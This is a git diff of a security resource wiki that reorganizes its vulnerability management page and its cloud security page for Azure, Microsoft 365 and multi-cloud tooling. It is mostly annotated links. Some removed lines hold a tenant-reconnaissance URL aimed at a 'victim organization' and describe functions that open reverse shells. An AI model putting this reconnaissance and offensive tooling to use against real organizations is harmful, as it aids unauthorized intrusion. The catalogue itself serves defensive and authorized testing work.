Security Hardening](https://docs.redhat.com/documentation/en-us/red_hat_enterprise_linux/9/html/security_hardening/scanning_the_system_for_security_compliance_and_vulnerabilities) - -### Vulnerability Management Platforms -* [InsightVM](https://www.rapid7.com/products/insightvm/) - A vulnerability management tool that integrates with other technologies and utilizes the Rapid7 Vulnerability & Exploit Database. -* [ThreatMapper](https://github.com/deepfence/ThreatMapper) - Open source cloud native security observability platform. Linux, K8s, AWS Fargate and more. -* [Faraday](https://github.com/infobyte/faraday) - Open Source Vulnerability Management Platform - -### Deprecated or Archived Tools - -* [VulnWhisperer](https://github.com/HASecuritySolutions/VulnWhisperer) - (Archived) Was a vulnerability management tool and report aggregator. -* **VulnIQ & SynapsInt**: Previously listed but websites often offline or discontinued. diff --git a/blue-defense/vulnerability-management.md b/blue-defense/vulnerability-management.md new file mode 100644 index 0000000..3e544e2 --- /dev/null +++ b/blue-defense/vulnerability-management.md @@ -0,0 +1,125 @@ +# Asset and Vulnerability Management + +This page focuses on defensive asset inventory, vulnerability intelligence, prioritization, and vulnerability management platforms. Active reconnaissance and offensive scanning methodology live in Red Offensive; configuration baselines and compliance tooling live in Device Hardening. + +## Asset Management + +### Sources of Asset Data + +* ARP cache - IP and MAC address relationships. +* DHCP logs - IP addresses, hostnames, and lease history. +* Nmap scans - IP addresses, open ports, running services, and operating system hints. +* PowerShell commands - System information, installed software, network configuration, and user details. +* SNMP - Device information, network statistics, and system status. +* Vulnerability management software. +* Windows Management Instrumentation. +* EDR and IR tools such as Velociraptor. + +### Management Tools + +* [Netdisco](http://netdisco.org/) - Web-based network management tool that collects IP and MAC data into PostgreSQL using SNMP, CLI, or device APIs. +* [runZero](https://www.runzero.com/) - Formerly Rumble. Useful for asset inventory and network discovery; its unauthenticated active scanning workflow is covered with active reconnaissance resources. + +{% content-ref url="../red-offensive/scanning-active-recon/" %} +[scanning-active-recon](../red-offensive/scanning-active-recon/) +{% endcontent-ref %} + +### MAC Address Lookup + +* [MAC Vendor Lookup](https://www.macvendorlookup.com/) - Look up the vendor for a specific MAC address. +* [macvendors.com](https://macvendors.com/) - MAC address vendor lookup. +* [macaddress.io](https://macaddress.io/) - MAC address vendor lookup. +* [maclookup.app](https://maclookup.app/) - Find the vendor name of a device by OUI or MAC address. + +### References + +* _Defensive Security Handbook - pg. 13_ + +## Vulnerability Management + +For vulnerability scanning tools used in offensive testing and authorized assessment workflows, use Scanning and Active Recon. + +{% content-ref url="../red-offensive/scanning-active-recon/" %} +[scanning-active-recon](../red-offensive/scanning-active-recon/) +{% endcontent-ref %} + +### Scanning Techniques + +* **Authenticated Scanning:** The scanner logs into the target system using credentials such as SSH or SMB to inspect installed software, configurations, and patches from the inside. This provides the most accurate results and reduces false positives. +* **Unauthenticated Scanning:** The scanner assesses the target from the network perspective without logging in. It identifies open ports, services, and exposed vulnerabilities but misses internal configuration issues. +* **Agent-based Scanning:** Lightweight agents are installed on endpoints to report system state and vulnerabilities to a central platform. This supports continuous monitoring even when devices are off the corporate network. + +### Vulnerability Databases and Intelligence + +* [Rapid7 Vulnerability & Exploit Database](https://www.rapid7.com/db/) - Curated repository of vetted exploits and vulnerabilities. +* [NIST NVD](https://nvd.nist.gov/vuln/search) - National Vulnerability Database. +* [CVE Program](https://www.cve.org/) - Public catalog of disclosed cybersecurity vulnerabilities. +* [GitHub Advisory Database](https://github.com/advisories) - Security vulnerability database inclusive of CVEs and GitHub-originated advisories. +* [cloudvulndb.org](https://www.cloudvulndb.org/) - Open Cloud Vulnerability and Security Issue Database. +* [OSV](https://osv.dev/list) - Open Source Vulnerabilities database. +* [Vulners](https://vulners.com/) - Vulnerability and exploit intelligence search engine. +* [OpenCVE](https://www.opencve.io/cve) - CVE tracking and alerting. +* [Snyk Vulnerability DB](https://security.snyk.io/) - Open-source vulnerability database. +* [Mend Vulnerability Database](https://www.mend.io/vulnerability-database/) - Open-source vulnerability database. +* [CVEDetails](https://www.cvedetails.com/) - Vulnerability datasource and CVE search. +* [Aqua Vulnerability Database](https://avd.aquasec.com/) - Vulnerabilities and weaknesses for open-source and cloud-native infrastructure. +* [Vulmon](https://vulmon.com/) - Vulnerability and exploit search engine. +* [VulDB](https://vuldb.com/) - Vulnerability intelligence database. +* _Defensive Security Handbook: Vulnerability Management - pg. 169_ + +### Risk Scoring and Prioritization + +* [CISA Known Exploited Vulnerabilities (KEV) Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) - Living list of vulnerabilities exploited in the wild. +* [EPSS (Exploit Prediction Scoring System)](https://www.first.org/epss/) - Data-driven estimate of exploitation probability. +* [SSVC (Stakeholder-Specific Vulnerability Categorization)](https://github.com/CERTCC/SSVC) - Decision tree model for prioritizing vulnerability response. +* [CVSS (Common Vulnerability Scoring System)](https://www.first.org/cvss/) - Industry standard for assessing vulnerability severity. + +### Standards and Supply Chain Security + +* **CPE (Common Platform Enumeration):** Structured naming scheme for information technology systems, software, and packages. +* **SBOM (Software Bill of Materials):** Inventory of software components, dependencies, and licenses. Key formats include [CycloneDX](https://cyclonedx.org/) and [SPDX](https://spdx.dev/). + +### Code, Dependency, and Container Scanning + +Use these tools for source-code scanning, dependency vulnerability detection, secret scanning, and container or filesystem vulnerability checks. + +* [Snyk CLI](https://github.com/snyk/snyk) - Finds vulnerabilities in open-source dependencies, container images, and infrastructure as code. +* [Mend](https://www.mend.io/) - Software composition analysis and open-source dependency security platform. +* [Brakeman](https://github.com/presidentbeef/brakeman) - Static analysis security scanner for Ruby on Rails applications. +* [Cppcheck](https://cppcheck.sourceforge.io/) - Static analysis tool for C/C++ code. +* [SpotBugs](https://spotbugs.github.io/) - Static analysis tool for Java and successor to FindBugs. +* [Sobelow](https://github.com/nccgroup/sobelow) - Security-focused static analysis for the Phoenix Framework. +* [Bandit](https://pypi.org/project/bandit/) - Static analysis tool for common Python security issues. +* [Package Hunter](https://about.gitlab.com/blog/2021/07/23/announcing-package-hunter/) - Dependency scanner for potentially malicious code behavior. +* [Semgrep](https://github.com/semgrep/semgrep) - Lightweight static analysis tool for many languages. +* [GitGuardian ggshield](https://github.com/GitGuardian/ggshield) - Secret detection CLI for repositories and local code. +* [Puma Scan](https://github.com/pumasecurity/puma-scan) - Security-focused source code analysis for .NET in Visual Studio. +* [Betterscan CE](https://github.com/marcinguy/betterscan-ce) - Community code, IaC, SAST, and linting scanner aggregator. +* [Trivy](https://github.com/aquasecurity/trivy) - Vulnerability and misconfiguration scanner for containers, filesystems, Git repositories, and IaC. +* [Grype](https://github.com/anchore/grype) - Vulnerability scanner for container images and filesystems. +* [OWASP Dependency-Check](https://owasp.org/www-project-dependency-check/) - Software composition analysis tool for publicly disclosed vulnerabilities. +* [Insecure Programming](https://github.com/deadbits/InsecureProgramming) - Educational examples of insecure programming practices. +* [Secure Coding in C/C++](https://www.amazon.com/Secure-Coding-2nd-Software-Engineering/dp/0321822137) +* [The Art of Software Security Assessment](https://www.amazon.com/Art-Software-Security-Assessment-Vulnerabilities/dp/0321444426) + +OpenSCAP and baseline compliance resources are maintained in Device Hardening. + +{% content-ref url="device-hardening/" %} +[device-hardening](device-hardening/) +{% endcontent-ref %} + +### Vulnerability Management Platforms + +* [InsightVM](https://www.rapid7.com/products/insightvm/) - Vulnerability management platform that integrates with Rapid7's vulnerability and exploit database. +* [ThreatMapper](https://github.com/deepfence/ThreatMapper) - Open-source cloud-native security observability platform for Linux, Kubernetes, AWS Fargate, and more. + +Faraday is preserved in the offensive toolbox as a penetration testing IDE. + +{% content-ref url="../red-offensive/offensive-toolbox/" %} +[offensive-toolbox](../red-offensive/offensive-toolbox/) +{% endcontent-ref %} + +## Deprecated or Archived Tools + +* [VulnWhisperer](https://github.com/HASecuritySolutions/VulnWhisperer) - Archived vulnerability management and report aggregation project. +* **VulnIQ & SynapsInt:** Previously listed here as vulnerability intelligence resources. They are preserved in exploit research and OSINT pages where they better fit the workflow. diff --git a/cloud.md b/cloud.md index 30a9145..f8028fe 100644 --- a/cloud.md +++ b/cloud.md @@ -1,340 +1,312 @@ +--- +description: Cloud security resources for AWS, Azure, Google Cloud, Microsoft 365, cloud hardening, cloud logging, and authorized cloud testing. +--- + # Yellow - Cloud -## **General Cloud** +This page is the cloud security hub for AWS, Microsoft Azure/Microsoft 365, Google Cloud, and multi-cloud tooling. Keep provider-specific administration, hardening, and authorized testing references here; move logging, SIEM, DFIR, password spraying, and general training resources to their dedicated sections when they are not cloud-specific. -### Cloud Basics and design +## Related Sections -* [Cloud Computing for Science and Engineering](https://cloud4scieng.org/chapters/) - Ian Foster, Dennis B. Gannon (🚧 _in process_) -* [Cloud Design Patterns](https://docs.microsoft.com/en-us/azure/architecture/patterns/) -* [Designing Distributed Systems](https://azure.microsoft.com/en-us/resources/designing-distributed-systems/) _(account required)_ -* [Multi-tenant Applications for the Cloud, 3rd Edition](http://www.microsoft.com/en-us/download/details.aspx?id=29263) +Cloud logging and audit collection are maintained in Security Logging. -### Cloud Security and Hardening +{% content-ref url="security-logging/logging-cloud.md" %} +[logging-cloud.md](security-logging/logging-cloud.md) +{% endcontent-ref %} -* [SANS Cloud Security Checklist](https://www.sans.org/cloud-security/securing-web-application-technologies/?msc=cloud-security-lp) - Best practices and references for hardening your cloud infrastructure. -* [https://github.com/riskprofiler/CloudFrontier](https://github.com/riskprofiler/CloudFrontier) - Monitor the internet attack surface of various public cloud environments. Currently supports AWS, GCP, Azure, DigitalOcean and Oracle Cloud. -* [https://cloudsecdocs.com/](https://cloudsecdocs.com/) - Great page with tons of detail on cloud and container security -* [https://cloudsecwiki.com/](https://cloudsecwiki.com/) - Handy page with a few resources and hardening tips for cloud deployments. -* [https://medium.com/mitre-engenuity/research-partnership-matures-att-ck-for-cloud-d232998968ce](https://medium.com/mitre-engenuity/research-partnership-matures-att-ck-for-cloud-d232998968ce) +KQL and SIEM query examples belong with Blue Defense. -### Cloud Pen Testing +{% content-ref url="blue-defense/query-languages.md" %} +[query-languages.md](blue-defense/query-languages.md) +{% endcontent-ref %} -* [https://github.com/CyberSecurityUP/Awesome-Cloud-PenTest](https://github.com/CyberSecurityUP/Awesome-Cloud-PenTest) - Huge collection of different offensive cloud tools and resources. -* [https://hackingthe.cloud/](https://hackingthe.cloud/) - Solid resource for cloud pentesting methodology and tooling. -* [https://github.com/dafthack/CloudPentestCheatsheets](https://github.com/dafthack/CloudPentestCheatsheets) - This repository contains a collection of cheatsheets I have put together for tools related to pentesting organizations that leverage cloud providers. -* _Hacking: The next generation - Cloud Insecurity: Sharing the cloud with your enemy, pg. 121_ +Cloud posture assessment tools such as Prowler, ScoutSuite, and Cloudsplaining are also indexed with hardening resources. -### Multi-Cloud Tools +{% content-ref url="blue-defense/device-hardening/" %} +[device-hardening](blue-defense/device-hardening/) +{% endcontent-ref %} + +Cloud training and certification resources belong in Training. -* Enumeration and Auditing - * [cloudfox](https://github.com/BishopFox/cloudfox) - CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure. - * [https://bishopfox.com/blog/introducing-cloudfox](https://bishopfox.com/blog/introducing-cloudfox) - * [cloud-enum](https://www.kali.org/tools/cloud-enum/) - enumerates public resources matching user requested keywords in public clouds - * [ScoutSuite](https://github.com/nccgroup/ScoutSuite) - Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments. Using the APIs exposed by cloud providers, Scout Suite gathers configuration data for manual inspection and highlights risk areas. Rather than going through dozens of pages on the web consoles, Scout Suite presents a clear view of the attack surface automatically. - * [https://www.youtube.com/watch?v=k8CQhvQAu7E](https://www.youtube.com/watch?v=k8CQhvQAu7E) - * [SkyArk](https://github.com/cyberark/SkyArk) - SkyArk helps to discover, assess and secure the most privileged entities in Azure and AWS - * [PMapper](https://github.com/nccgroup/PMapper) - Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for privilege escalation and for alternate paths an attacker could take to gain access to a resource or action in AWS. - * [gitoops](https://github.com/ovotech/gitoops) - GitOops is a tool to help attackers and defenders identify lateral movement and privilege escalation paths in GitHub organizations by abusing CI/CD pipelines and GitHub access controls. - * [cloudbrute](https://www.kali.org/tools/cloudbrute/) - This package contains a tool to find a company (target) infrastructure, files, and apps on the top cloud providers - * [https://0xsha.io/posts/introducing-cloudbrute-wild-hunt-on-the-clouds](https://0xsha.io/posts/introducing-cloudbrute-wild-hunt-on-the-clouds) -* Offensive Frameworks - * [ cloudsploit](https://github.com/aquasecurity/cloudsploit) - CloudSploit by Aqua is an open-source project designed to allow detection of security risks in cloud infrastructure accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub. These scripts are designed to return a series of potential misconfigurations and security risks. - * [serverless-prey](https://github.com/pumasecurity/serverless-prey) - Serverless Prey is a collection of serverless functions (FaaS), that, once launched to a cloud environment and invoked, establish a TCP reverse shell, enabling the user to introspect the underlying container: - * [Panther](https://github.com/pumasecurity/serverless-prey/blob/main/panther): AWS Lambda written in Node.js - * [Cougar](https://github.com/pumasecurity/serverless-prey/blob/main/cougar): Azure Function written in C# - * [Cheetah](https://github.com/pumasecurity/serverless-prey/blob/main/cheetah): Google Cloud Function written in Go +{% content-ref url="training/" %} +[training](training/) +{% endcontent-ref %} -![](.gitbook/assets/canvas.png) +## General Cloud + +### Cloud Basics and Design + +* [Cloud Computing for Science and Engineering](https://cloud4scieng.org/chapters/) - Ian Foster and Dennis B. Gannon. +* [Cloud Design Patterns](https://learn.microsoft.com/en-us/azure/architecture/patterns/) - Microsoft architecture guidance for resilient cloud systems. +* [Designing Distributed Systems](https://azure.microsoft.com/en-us/resources/designing-distributed-systems/) - Free Microsoft ebook; account may be required. +* [Multi-tenant Applications for the Cloud, 3rd Edition](https://www.microsoft.com/en-us/download/details.aspx?id=29263) - Microsoft guide to multi-tenant application design. +* [CloudSecDocs](https://cloudsecdocs.com/) - Detailed references for cloud and container security. +* [CloudSecWiki](https://cloudsecwiki.com/) - Curated cloud security notes and hardening tips. +* [ATT&CK for Cloud](https://medium.com/mitre-engenuity/research-partnership-matures-att-ck-for-cloud-d232998968ce) - MITRE Engenuity note on cloud technique coverage. + +### Cloud Security and Hardening -### General Cloud Training Resources +* [SANS Cloud Security](https://www.sans.org/cloud-security/) - Cloud security training and guidance. The old checklist URL now redirects to a broader SANS cloud landing page. +* [CloudFrontier](https://github.com/riskprofiler/CloudFrontier) - Monitors internet-facing attack surface across AWS, GCP, Azure, DigitalOcean, and Oracle Cloud. +* [Cloud Conformity Azure knowledge base](https://www.trendmicro.com/cloudoneconformity/knowledge-base/azure/) - Trend Micro Cloud One Conformity replaced the old Cloud Conformity branding. +* [Cloud Conformity AWS knowledge base](https://www.trendmicro.com/cloudoneconformity/knowledge-base/aws/) - Trend Micro Cloud One Conformity AWS best-practice checks. -* [https://cloudacademy.com/](https://cloudacademy.com/) +### Cloud Pentesting -## **Azure and O365 -** The Microsoft Cloud Environment +* [Awesome Cloud PenTest](https://github.com/CyberSecurityUP/Awesome-Cloud-PenTest) - Large collection of offensive cloud tools and resources. +* [Hacking the Cloud](https://hackingthe.cloud/) - Cloud pentesting methodology, tradecraft, and tooling. +* [Cloud Pentest Cheatsheets](https://github.com/dafthack/CloudPentestCheatsheets) - Cheatsheets for cloud provider testing workflows. +* _Hacking: The Next Generation - Cloud Insecurity: Sharing the Cloud with Your Enemy, pg. 121_ + +### Multi-Cloud Tools + +* [cloudfox](https://github.com/BishopFox/cloudfox) - Finds exploitable paths in unfamiliar AWS, Azure, GCP, and Kubernetes environments. + * [Introducing CloudFox](https://bishopfox.com/blog/introducing-cloudfox) +* [cloud-enum](https://www.kali.org/tools/cloud-enum/) - Enumerates public cloud resources from keywords. +* [ScoutSuite](https://github.com/nccgroup/ScoutSuite) - Multi-cloud security posture assessment and reporting. + * [ScoutSuite overview video](https://www.youtube.com/watch?v=k8CQhvQAu7E) +* [SkyArk](https://github.com/cyberark/SkyArk) - Discovers privileged entities in Azure and AWS. +* [PMapper](https://github.com/nccgroup/PMapper) - Models AWS IAM principals and privilege escalation paths. +* [GitOops](https://github.com/ovotech/gitoops) - Finds lateral movement and privilege escalation paths in GitHub organizations through CI/CD and access-control abuse. +* [cloudbrute](https://www.kali.org/tools/cloudbrute/) - Discovers public cloud infrastructure, files, and apps. + * [Introducing CloudBrute](https://0xsha.io/posts/introducing-cloudbrute-wild-hunt-on-the-clouds) +* [CloudSploit](https://github.com/aquasecurity/cloudsploit) - Cloud security posture checks by Aqua. Treat this as a defensive CSPM project rather than an offensive framework. +* [serverless-prey](https://github.com/pumasecurity/serverless-prey) - Serverless functions for authorized introspection of cloud function runtimes. + +## Microsoft Azure and Microsoft 365 ### Basics -* Reference Docs - * [https://github.com/MicrosoftDocs/azure-docs](https://github.com/MicrosoftDocs/azure-docs) - * [https://www.microsoft.com/en-us/msrc/pentest-rules-of-engagement](https://www.microsoft.com/en-us/msrc/pentest-rules-of-engagement) - Azure Pentesting Rules of Engagement - * [https://azurerange.azurewebsites.net/](https://azurerange.azurewebsites.net/) - Azure IP Ranges - * [https://www.cloudconformity.com/knowledge-base/azure/](https://www.cloudconformity.com/knowledge-base/azure/) - Azure Best Practices - * [https://docs.microsoft.com/en-us/security/benchmark/azure/v2-cis-benchmark](https://docs.microsoft.com/en-us/security/benchmark/azure/v2-cis-benchmark) - * [https://github.com/AzureAD/Deployment-Plans](https://github.com/AzureAD/Deployment-Plans) - * [https://attack.mitre.org/matrices/enterprise/cloud/azuread/](https://attack.mitre.org/matrices/enterprise/cloud/azuread/) - * [https://attack.mitre.org/matrices/enterprise/cloud/office365/](https://attack.mitre.org/matrices/enterprise/cloud/office365/) - * [https://github.com/reprise99](https://github.com/reprise99) -* Resource Collections - * [https://github.com/kmcquade/awesome-azure-security](https://github.com/kmcquade/awesome-azure-security) - * [https://github.com/Azure/Azure-Network-Security](https://github.com/Azure/Azure-Network-Security) -* Azure Vulnerabilities - * [https://rhinosecuritylabs.com/cloud-security/common-azure-security-vulnerabilities/](https://rhinosecuritylabs.com/cloud-security/common-azure-security-vulnerabilities/) - * [Azure Security Vulnerabilities and Pentesting | Rhino Security Labs](https://rhinosecuritylabs.com/cloud-security/common-azure-security-vulnerabilities/) - * [Top 20 Microsoft Azure Vulnerabilities and Misconfigurations - InfosecMatter](https://www.infosecmatter.com/top-20-microsoft-azure-vulnerabilities-and-misconfigurations/) -* Azure Tasks - * [https://docs.microsoft.com/en-us/microsoft-365/compliance/search-the-audit-log-in-security-and-compliance?view=o365-worldwide#search-the-audit-log](https://docs.microsoft.com/en-us/microsoft-365/compliance/search-the-audit-log-in-security-and-compliance?view=o365-worldwide#search-the-audit-log) - * [https://gcits.com/knowledge-base/enabling-unified-audit-log-delegated-office-365-tenants-via-powershell/](https://gcits.com/knowledge-base/enabling-unified-audit-log-delegated-office-365-tenants-via-powershell/) - * [https://docs.microsoft.com/en-us/office/office-365-management-api/office-365-management-activity-api-schema#auditlogrecordtype](https://docs.microsoft.com/en-us/office/office-365-management-api/office-365-management-activity-api-schema#auditlogrecordtype) - * [https://www.codetwo.com/admins-blog/how-to-export-office-365-mailboxes-to-pst-using-ediscovery/](https://www.codetwo.com/admins-blog/how-to-export-office-365-mailboxes-to-pst-using-ediscovery/) -* [The basics of modern authentication - Microsoft identity platform](https://www.youtube.com/watch?v=tkQJSHFsduY) -* [Unified Audit logs in Microsoft 365](https://www.youtube.com/watch?v=c1kId\_esv0k) +* [Azure documentation](https://github.com/MicrosoftDocs/azure-docs) +* [Microsoft Cloud Penetration Testing Rules of Engagement](https://www.microsoft.com/en-us/msrc/pentest-rules-of-engagement) +* [Microsoft Azure IP Ranges and Service Tags](https://www.microsoft.com/en-us/download/details.aspx?id=56519) - Official source for Azure service tag JSON. +* [Microsoft cloud security benchmark](https://learn.microsoft.com/en-us/security/benchmark/azure/) - Replaces older Azure Security Benchmark links. +* [Azure AD deployment plans](https://github.com/AzureAD/Deployment-Plans) +* [ATT&CK for Azure AD](https://attack.mitre.org/matrices/enterprise/cloud/azuread/) +* [ATT&CK for Office 365](https://attack.mitre.org/matrices/enterprise/cloud/office365/) +* [reprise99 Azure security resources](https://github.com/reprise99) +* [Awesome Azure Security](https://github.com/kmcquade/awesome-azure-security) +* [Azure Network Security](https://github.com/Azure/Azure-Network-Security) +* [Common Azure security vulnerabilities](https://rhinosecuritylabs.com/cloud-security/common-azure-security-vulnerabilities/) - Rhino Security Labs. +* [Top 20 Microsoft Azure Vulnerabilities and Misconfigurations](https://www.infosecmatter.com/top-20-microsoft-azure-vulnerabilities-and-misconfigurations/) - InfosecMatter. +* [AADInternals OSINT](https://aadinternals.com/osint/) - Tenant lookup and Azure AD OSINT. This also fits the OSINT domain/tenant workflow. ### Azure Training -* [The Developer’s Guide to Azure](https://azure.microsoft.com/en-us/campaigns/developer-guide/) - Great free traing from Microsoft -* [Awesome Azure Learning](https://github.com/ddneves/awesome-azure-learning): numerous references for Azure learning, especially for the Azure Certs, Azure Architecture, and any other learning materials e.g. Security topics. [![stars](https://camo.githubusercontent.com/db288453bb4f0236688e82769f92aedf7a03aa4ef17f8a00f76b512d98689b43/68747470733a2f2f62616467656e2e6e65742f6769746875622f73746172732f64646e657665732f617765736f6d652d617a7572652d6c6561726e696e67)](https://badgen.net/github/stars/ddneves/awesome-azure-learning) -* [https://microsoftlearning.github.io/AZ500-AzureSecurityTechnologies/](https://microsoftlearning.github.io/AZ500-AzureSecurityTechnologies/) - * [Azure AZ 500 Study Guide](https://github.com/AzureMentor/Azure-AZ-500-Study-Guide): Study Guide for the Microsoft Azure Security Technologies Exam. [![stars](https://camo.githubusercontent.com/c5e5ce98aba90db6f5fa5a3812adcea7e7304f7e8bf0e6e8dd59b7cbf8022474/68747470733a2f2f62616467656e2e6e65742f6769746875622f73746172732f417a7572654d656e746f722f417a7572652d415a2d3530302d53747564792d4775696465)](https://badgen.net/github/stars/AzureMentor/Azure-AZ-500-Study-Guide) - * [Azure AZ 500 Labs by Microsoft](https://github.com/MicrosoftLearning/AZ500-AzureSecurityTechnologies): Study Guide for the Microsoft Azure Security Technologies Exam. [![stars](https://camo.githubusercontent.com/09b095c5cafe315980128f127aab3ac2cba9b86e7fd66d45dbd3255e7400bd02/68747470733a2f2f62616467656e2e6e65742f6769746875622f73746172732f4d6963726f736f66744c6561726e696e672f415a3530302d417a7572655365637572697479546563686e6f6c6f67696573)](https://badgen.net/github/stars/MicrosoftLearning/AZ500-AzureSecurityTechnologies) -* [Breaking and Pwning Apps and Servers on AWS and Azure](https://github.com/appsecco/breaking-and-pwning-apps-and-servers-aws-azure-training): Course content, lab setup instructions and documentation of our very popular Breaking and Pwning Apps and Servers on AWS and Azure hands on training. [![stars](https://camo.githubusercontent.com/1541562f46c844b32ccd08825a05cf941b8ae994412e589fa7e4e4b97ee77ad1/68747470733a2f2f62616467656e2e6e65742f6769746875622f73746172732f617070736563636f2f627265616b696e672d616e642d70776e696e672d617070732d616e642d736572766572732d6177732d617a7572652d747261696e696e67)](https://badgen.net/github/stars/appsecco/breaking-and-pwning-apps-and-servers-aws-azure-training) -* [Learn Azure in a Month of Lunches](https://azure.microsoft.com/mediahandler/files/resourcefiles/learn-azure-in-a-month-of-lunches/Learn\_Azure\_in\_a\_Month\_of\_Lunches.pdf) - Iain Foulds (PDF) -* [Azure for Architects, Third Edition](https://azure.microsoft.com/en-us/resources/azure-for-architects/) (PDF) _(email address or account required)_ -* [Azure Functions Succinctly, Syncfusion](https://www.syncfusion.com/ebooks/azure-functions-succinctly) (PDF, Kindle) (email address requested, not required) -* [https://techcommunity.microsoft.com/t5/azure-sentinel/become-an-azure-sentinel-ninja-the-complete-level-400-training/ba-p/1246310](https://techcommunity.microsoft.com/t5/azure-sentinel/become-an-azure-sentinel-ninja-the-complete-level-400-training/ba-p/1246310) - -### Azure CLI - -* [https://docs.microsoft.com/en-us/cli/azure/](https://docs.microsoft.com/en-us/cli/azure/) -* [https://github.com/ferhaty/azure-cli-cheatsheet](https://github.com/ferhaty/azure-cli-cheatsheet) +* [The Developer's Guide to Azure](https://azure.microsoft.com/en-us/campaigns/developer-guide/) - Free Microsoft Azure training. +* [Awesome Azure Learning](https://github.com/ddneves/awesome-azure-learning) - Azure learning and certification resources. +* [AZ-500 Azure Security Technologies labs](https://microsoftlearning.github.io/AZ500-AzureSecurityTechnologies/) + * [Azure AZ-500 Study Guide](https://github.com/AzureMentor/Azure-AZ-500-Study-Guide) + * [Azure AZ-500 labs by Microsoft](https://github.com/MicrosoftLearning/AZ500-AzureSecurityTechnologies) +* [Breaking and Pwning Apps and Servers on AWS and Azure](https://github.com/appsecco/breaking-and-pwning-apps-and-servers-aws-azure-training) +* [Learn Azure in a Month of Lunches](https://azure.microsoft.com/mediahandler/files/resourcefiles/learn-azure-in-a-month-of-lunches/Learn_Azure_in_a_Month_of_Lunches.pdf) +* [Azure for Architects, Third Edition](https://azure.microsoft.com/en-us/resources/azure-for-architects/) - Account may be required. +* [Azure Functions Succinctly](https://www.syncfusion.com/ebooks/azure-functions-succinctly) - Syncfusion ebook. + +### Azure CLI and Administration + +* [Azure CLI documentation](https://learn.microsoft.com/en-us/cli/azure/) +* [Azure CLI cheatsheet](https://github.com/ferhaty/azure-cli-cheatsheet) * _Operator Handbook: Azure CLI - pg. 39_ -* Misc Azure Commands - * Find if target org has Azure AD - * Insert the username of your target in the URL below. - * [https://login.microsoftonline.com/getuserrealm.srf?login=username@\.onmicrosoft.com\&xml=1](https://login.microsoftonline.com/getuserrealm.srf?login=username@%3Cvictimorganization%3E.onmicrosoft.com\&xml=1) - -### Azure AD - -* [https://docs.microsoft.com/en-us/azure/active-directory/](https://docs.microsoft.com/en-us/azure/active-directory/) -* [Attacking & Defending the Microsoft Cloud](https://adsecurity.org/wp-content/uploads/2019/08/2019-BlackHat-US-Metcalf-Morowczynski-AttackingAndDefendingTheMicrosoftCloud.pdf) -* [https://github.com/Cloud-Architekt/AzureAD-Attack-Defense](https://github.com/Cloud-Architekt/AzureAD-Attack-Defense) -* [https://aadinternals.com/osint/](https://aadinternals.com/osint/) - This Open-source Intelligence (OSINT) tool will extract openly available information for the given tenant. The tool is using APIs mentioned in my previous [blog post](https://aadinternals.com/post/just-looking/) and in MS Graph API [documentation](https://learn.microsoft.com/en-us/graph/api/tenantrelationship-findtenantinformationbytenantid). - -### Sentinel - The Azure SIEM - -* [What is Azure Sentinel? | Microsoft Docs](https://docs.microsoft.com/en-us/azure/sentinel/overview) -* [Azure Sentinel – Cloud-native SIEM | Microsoft Azure](https://azure.microsoft.com/en-us/services/azure-sentinel/?cdn=disable) -* [What's New: PowerShell+Azure Sentinel notebooks to supercharge your hunting and investigations! - Microsoft Tech Community](https://techcommunity.microsoft.com/t5/azure-sentinel/what-s-new-powershell-azure-sentinel-notebooks-to-supercharge/ba-p/1695969) -* [PowerShell Gallery | AzSentinel 0.6.8](https://www.powershellgallery.com/packages/AzSentinel/0.6.8) -* [https://github.com/Azure/Azure-Sentinel/tree/master/Hunting%20Queries](https://github.com/Azure/Azure-Sentinel/tree/master/Hunting%20Queries) -* [https://github.com/Azure/Azure-Sentinel-Notebooks](https://github.com/Azure/Azure-Sentinel-Notebooks) -* [https://techcommunity.microsoft.com/t5/Azure-Sentinel/Azure-Sentinel-Performing-Additional-Security-Monitoring-of-High/ba-p/430740](https://techcommunity.microsoft.com/t5/Azure-Sentinel/Azure-Sentinel-Performing-Additional-Security-Monitoring-of-High/ba-p/430740) -* [https://techcommunity.microsoft.com/t5/Azure-Sentinel/Importing-Sigma-Rules-to-Azure-Sentinel/ba-p/657097](https://techcommunity.microsoft.com/t5/Azure-Sentinel/Importing-Sigma-Rules-to-Azure-Sentinel/ba-p/657097) -* [https://techcommunity.microsoft.com/t5/microsoft-sentinel-blog/azure-sentinel-to-go-part1-a-lab-w-prerecorded-data-amp-a-custom/ba-p/1260191](https://techcommunity.microsoft.com/t5/microsoft-sentinel-blog/azure-sentinel-to-go-part1-a-lab-w-prerecorded-data-amp-a-custom/ba-p/1260191) -* Azure Sentinel and Jupyter Notebooks - * [https://techcommunity.microsoft.com/t5/Azure-Sentinel/Security-Investigation-with-Azure-Sentinel-and-Jupyter-Notebooks/ba-p/432921](https://techcommunity.microsoft.com/t5/Azure-Sentinel/Security-Investigation-with-Azure-Sentinel-and-Jupyter-Notebooks/ba-p/432921) - * [https://techcommunity.microsoft.com/t5/Azure-Sentinel/Security-Investigation-with-Azure-Sentinel-and-Jupyter-Notebooks/ba-p/483466](https://techcommunity.microsoft.com/t5/Azure-Sentinel/Security-Investigation-with-Azure-Sentinel-and-Jupyter-Notebooks/ba-p/483466) - * [https://techcommunity.microsoft.com/t5/Azure-Sentinel/Security-Investigation-with-Azure-Sentinel-and-Jupyter-Notebooks/ba-p/561413](https://techcommunity.microsoft.com/t5/Azure-Sentinel/Security-Investigation-with-Azure-Sentinel-and-Jupyter-Notebooks/ba-p/561413) -* KQL - Kusto Query Language and Azure Sentinel - * [https://docs.microsoft.com/en-us/users/register?redirectUrl=https%3A%2F%2Fdocs.microsoft.com%2Fen-us%2Fazure%2Fdata-explorer%2Fkql-quick-reference](https://docs.microsoft.com/en-us/users/register?redirectUrl=https%3A%2F%2Fdocs.microsoft.com%2Fen-us%2Fazure%2Fdata-explorer%2Fkql-quick-reference) - * [https://github.com/Azure/Azure-Sentinel/tree/master/Hunting%20Queries](https://github.com/Azure/Azure-Sentinel/tree/master/Hunting%20Queries) - * 